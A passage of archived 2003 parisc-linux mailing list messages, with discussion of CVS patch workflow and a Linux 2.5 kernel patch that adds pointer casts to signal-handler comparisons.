List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18416

>> >So I think it would be nice to put this patch into CVS.
>> >
>> I hope also it will be ci but I could not help.
>
>it's in 2.4.20-pa35 now.
>
>Joel, do you think you can come up with a version that applies to 2.5 as
>well?
>
Well, I have not yet have time to look into 2.5 but I can try to do my best.
Just be patient: i lost my test server and I have to make place elsewhere.

Regards,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Q] "-p" level for submitting patches?
Date: Thu, 8 May 2003 07:55:45 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20030508055545.GQ27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="IIU4lL9vGQnN7Mxl"
X-Trace: ger.gmane.org 1416622436 25471 80.91.229.3 (22 Nov 2014 02:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 23:55:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03DAF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 23:55:46 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id A1CA54AB90; Thu,  8 May 2003 07:55:45 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18417

--IIU4lL9vGQnN7Mxl
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I've co'ed the full CVS repository (ie all modules are within one
direcory). To ease applying patches for you, from which directory should
I 'cvs diff' changed files?

[ ]	$ ls
	CVS         CVSROOT    build-tools  gcc      gdb        glibc linux
	linux-2.5   obsolete   palo         pmccabe  userspace  web
	$ cvs diff linux-2.5/arch/parisc/...

[ ]     $ ls
	COPYING        Makefile        crypto   ipc     scripts
	CREDITS        README          drivers  kernel  security
	CVS            REPORTING-BUGS  fs       lib     sound
	Documentation  System.map      include  mm      usr
	MAINTAINERS    arch            init     net     vmlinux
	$ cvs diff arch/parisc/linux/....

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--IIU4lL9vGQnN7Mxl
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ufFhHb1edYOZ4bsRAs7nAJoCI9JUI/tdjpmKrj0i44jS4755LgCdG+5d
oJmqiJYuYwQH8v3g5Y4pqns=
=VBzq
-----END PGP SIGNATURE-----

--IIU4lL9vGQnN7Mxl--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] isobuild.sh read access?
Date: Thu, 8 May 2003 07:53:46 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3EB7727600000F3B@ocpmta1.freegates.net>
References: <69160AB4-80B4-11D7-83E2-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622436 25473 80.91.229.3 (22 Nov 2014 02:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Thibaut=20VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 23:57:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23CED4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 23:57:33 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 8 May 2003 07:53:46 +0200
In-Reply-To: <69160AB4-80B4-11D7-83E2-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18418

>>
>> You don't have permission to access /archive/scripts/isobuild.sh on 
>> this
>> server.
>corrected

Thanks,

>> PS: Would it not be put also into build-tools cvs tree?
>i don't think so.

Ok

>it's not useable per se, and I think you'll have trouble with it.
>it's just published to give an idea what has to be done to build an ISO.

That is all I expect :)

Thanks for help,
  Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-linux-2.5] sa_handler compare with cast
Date: Thu, 8 May 2003 08:12:34 +0200
Lines: 245
Approved: news@gmane.org
Message-ID: <20030508061234.GR27494@lug-owl.de>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca> <3EB7766A000003EE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="FC8SlEHQ+Zonp6pC"
X-Trace: ger.gmane.org 1416622437 25474 80.91.229.3 (22 Nov 2014 02:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 00:12:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EEE04829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 00:12:35 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 327124AB90; Thu,  8 May 2003 08:12:34 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3EB7766A000003EE@ocpmta7.freegates.net>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18419

--FC8SlEHQ+Zonp6pC
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-05-06 19:56:48 +0200, Joel Soete <jsoe0708@tiscali.be>
wrote in message <3EB7766A000003EE@ocpmta7.freegates.net>:
> So it will finaly become:
> diff -NaurX dontdiff linux-2.4.20-pa33/arch/parisc/kernel/signal.c linux-=
2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c
> --- linux-2.4.20-pa33/arch/parisc/kernel/signal.c	2003-05-06 17:47:32.000=
000000
> +0200
> +++ linux-2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c	2003-05-06 18:09:=
35.000000000
> +0200
[...]

This is the 2.5.x version. It's _only_ the sa_handler caste, not
including the additional compiler fixes you suggested.


Index: drivers/char/n_tty.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/drivers/char/n_tty.c,v
retrieving revision 1.8
diff -u -r1.8 n_tty.c
--- drivers/char/n_tty.c	5 May 2003 17:06:33 -0000	1.8
+++ drivers/char/n_tty.c	8 May 2003 06:08:38 -0000
@@ -808,7 +808,8 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
-	        current->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN);
+	        current->sighand->action[sig-1].sa.sa_handler
+				=3D=3D (void *)SIG_IGN);
 }
=20
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
Index: fs/ncpfs/sock.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/fs/ncpfs/sock.c,v
retrieving revision 1.6
diff -u -r1.6 sock.c
--- fs/ncpfs/sock.c	15 Feb 2003 03:48:26 -0000	1.6
+++ fs/ncpfs/sock.c	8 May 2003 06:08:39 -0000
@@ -757,9 +757,9 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
-			if (current->sighand->action[SIGINT - 1].sa.sa_handler =3D=3D SIG_DFL)
+			if (current->sighand->action[SIGINT - 1].sa.sa_handler =3D=3D (void *)S=
IG_DFL)
 				mask |=3D sigmask(SIGINT);
-			if (current->sighand->action[SIGQUIT - 1].sa.sa_handler =3D=3D SIG_DFL)
+			if (current->sighand->action[SIGQUIT - 1].sa.sa_handler =3D=3D (void *)=
SIG_DFL)
 				mask |=3D sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
Index: fs/proc/array.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/fs/proc/array.c,v
retrieving revision 1.15
diff -u -r1.15 array.c
--- fs/proc/array.c	5 May 2003 17:08:54 -0000	1.15
+++ fs/proc/array.c	8 May 2003 06:08:40 -0000
@@ -213,9 +213,9 @@
=20
 	k =3D p->sighand->action;
 	for (i =3D 1; i <=3D _NSIG; ++i, ++k) {
-		if (k->sa.sa_handler =3D=3D SIG_IGN)
+		if (k->sa.sa_handler =3D=3D (void *)SIG_IGN)
 			sigaddset(ign, i);
-		else if (k->sa.sa_handler !=3D SIG_DFL)
+		else if (k->sa.sa_handler !=3D (void *)SIG_DFL)
 			sigaddset(catch, i);
 	}
 }
Index: kernel/signal.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/kernel/signal.c,v
retrieving revision 1.19
diff -u -r1.19 signal.c
--- kernel/signal.c	24 Apr 2003 01:38:05 -0000	1.19
+++ kernel/signal.c	8 May 2003 06:08:42 -0000
@@ -144,12 +144,12 @@
 		(((sig) < SIGRTMIN)  && T(sig, SIG_KERNEL_STOP_MASK))
=20
 #define sig_user_defined(t, signr) \
-	(((t)->sighand->action[(signr)-1].sa.sa_handler !=3D SIG_DFL) &&	\
-	 ((t)->sighand->action[(signr)-1].sa.sa_handler !=3D SIG_IGN))
+	(((t)->sighand->action[(signr)-1].sa.sa_handler !=3D (void *)SIG_DFL) &&	\
+	 ((t)->sighand->action[(signr)-1].sa.sa_handler !=3D (void *)SIG_IGN))
=20
 #define sig_fatal(t, signr) \
 	(!T(signr, SIG_KERNEL_IGNORE_MASK|SIG_KERNEL_STOP_MASK) && \
-	 (t)->sighand->action[(signr)-1].sa.sa_handler =3D=3D SIG_DFL)
+	 (t)->sighand->action[(signr)-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
=20
 static inline int sig_ignored(struct task_struct *t, int sig)
 {
@@ -171,8 +171,8 @@
=20
 	/* Is it explicitly or implicitly ignored? */
 	handler =3D t->sighand->action[sig-1].sa.sa_handler;
-	return   handler =3D=3D SIG_IGN ||
-		(handler =3D=3D SIG_DFL && sig_kernel_ignore(sig));
+	return   handler =3D=3D (void *)SIG_IGN ||
+		(handler =3D=3D (void *)SIG_DFL && sig_kernel_ignore(sig));
 }
=20
 /*
@@ -366,7 +366,7 @@
 	int i;
 	struct k_sigaction *ka =3D &t->sighand->action[0];
 	for (i =3D _NSIG ; i !=3D 0 ; i--) {
-		if (force_default || ka->sa.sa_handler !=3D SIG_IGN)
+		if (force_default || ka->sa.sa_handler !=3D (void *)SIG_IGN)
 			ka->sa.sa_handler =3D SIG_DFL;
 		ka->sa.sa_flags =3D 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -801,7 +801,7 @@
 	int ret;
=20
 	spin_lock_irqsave(&t->sighand->siglock, flags);
-	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN)
+	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 		t->sighand->action[sig-1].sa.sa_handler =3D SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending_tsk(t);
@@ -817,7 +817,7 @@
 	unsigned long int flags;
=20
 	spin_lock_irqsave(&t->sighand->siglock, flags);
-	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN)
+	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 		t->sighand->action[sig-1].sa.sa_handler =3D SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending_tsk(t);
@@ -1281,7 +1281,7 @@
 	psig =3D tsk->parent->sighand;
 	spin_lock_irqsave(&psig->siglock, flags);
 	if (sig =3D=3D SIGCHLD && tsk->state !=3D TASK_STOPPED &&
-	    (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D SIG_IGN ||
+	    (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D (void *)SIG_IGN ||
 	     (psig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDWAIT))) {
 		/*
 		 * We are exiting and our parent doesn't care.  POSIX.1
@@ -1299,7 +1299,7 @@
 		 * it, just use SIG_IGN instead).
 		 */
 		tsk->exit_signal =3D -1;
-		if (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D SIG_IGN)
+		if (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 			sig =3D 0;
 	}
 	if (sig > 0 && sig <=3D _NSIG)
@@ -1347,7 +1347,7 @@
=20
 	sighand =3D parent->sighand;
 	spin_lock_irqsave(&sighand->siglock, flags);
-	if (sighand->action[SIGCHLD-1].sa.sa_handler !=3D SIG_IGN &&
+	if (sighand->action[SIGCHLD-1].sa.sa_handler !=3D (void *)SIG_IGN &&
 	    !(sighand->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
 		__group_send_sig_info(SIGCHLD, &info, parent);
 	/*
@@ -1581,9 +1581,9 @@
 		}
=20
 		ka =3D &current->sighand->action[signr-1];
-		if (ka->sa.sa_handler =3D=3D SIG_IGN) /* Do nothing.  */
+		if (ka->sa.sa_handler =3D=3D (void *)SIG_IGN) /* Do nothing.  */
 			continue;
-		if (ka->sa.sa_handler !=3D SIG_DFL) /* Run the handler.  */
+		if (ka->sa.sa_handler !=3D (void *)SIG_DFL) /* Run the handler.  */
 			return signr;
=20
 		/*
@@ -2034,8 +2034,8 @@
 		 *   (for example, SIGCHLD), shall cause the pending signal to
 		 *   be discarded, whether or not it is blocked"
 		 */
-		if (act->sa.sa_handler =3D=3D SIG_IGN ||
-		    (act->sa.sa_handler =3D=3D SIG_DFL &&
+		if (act->sa.sa_handler =3D=3D (void *)SIG_IGN ||
+		    (act->sa.sa_handler =3D=3D (void *)SIG_DFL &&
 		     sig_kernel_ignore(sig))) {
 			/*
 			 * This is a fairly rare case, so we only take the
Index: net/sunrpc/clnt.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/net/sunrpc/clnt.c,v
retrieving revision 1.12
diff -u -r1.12 clnt.c
--- net/sunrpc/clnt.c	8 Apr 2003 15:21:04 -0000	1.12
+++ net/sunrpc/clnt.c	8 May 2003 06:08:44 -0000
@@ -255,9 +255,9 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action =3D current->sighand->action;
-		if (action[SIGINT-1].sa.sa_handler =3D=3D SIG_DFL)
+		if (action[SIGINT-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
 			sigallow |=3D sigmask(SIGINT);
-		if (action[SIGQUIT-1].sa.sa_handler =3D=3D SIG_DFL)
+		if (action[SIGQUIT-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
 			sigallow |=3D sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sighand->siglock, irqflags);



MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--FC8SlEHQ+Zonp6pC
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ufVRHb1edYOZ4bsRAsK9AJ9hlCR0tc/O9jQ+vzqg6g/AabQ+zgCbBoZc
K5vd0SBYUK6l0l9oGj950QI=
=4dOE
-----END PGP SIGNATURE-----

--FC8SlEHQ+Zonp6pC--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-linux-2.5] Add missing include to OProfile
Date: Thu, 8 May 2003 14:33:00 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030508133300.GG29534@parcelfarce.linux.theplanet.co.uk>
References: <20030508054607.GP27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622437 25475 80.91.229.3 (22 Nov 2014 02:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 07:33:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 542514829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 07:33:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19DlW8-0001o3-G1; Thu, 08 May 2003 14:33:00 +0100
Content-Disposition: inline
In-Reply-To: <20030508054607.GP27494@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18420

On Thu, May 08, 2003 at 07:46:09AM +0200, Jan-Benedict Glaw wrote:
> Hi!
> 
> With OProfile <m>odularized, this patch is needed to build it:

Thanks; I noticed it myself earlier this morning.  Committed.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-build-tools] Generate linux-2.5 tarball
Date: Thu, 8 May 2003 14:34:13 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030508133413.GH29534@parcelfarce.linux.theplanet.co.uk>
References: <20030508054118.GO27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622437 25480 80.91.229.3 (22 Nov 2014 02:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 07:34:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E0E4482F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 07:34:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19DlXJ-0001or-Tx; Thu, 08 May 2003 14:34:13 +0100
Content-Disposition: inline
In-Reply-To: <20030508054118.GO27494@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18421

On Thu, May 08, 2003 at 07:41:18AM +0200, Jan-Benedict Glaw wrote:
> Hi!
> 
> Playing with 2.5.x, I think we'd also push out a 2.5.x snapshot. Here's
> the patch:

We do push out a snapshot, it's just in a different place:

http://ftp.parisc-linux.org/2.5/kernel-src/

I'm not sure why Paul chose to do it this way.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-build-tools] Generate linux-2.5 tarball
Date: Thu, 8 May 2003 16:30:16 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20030508143015.GU27494@lug-owl.de>
References: <20030508054118.GO27494@lug-owl.de> <20030508133413.GH29534@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
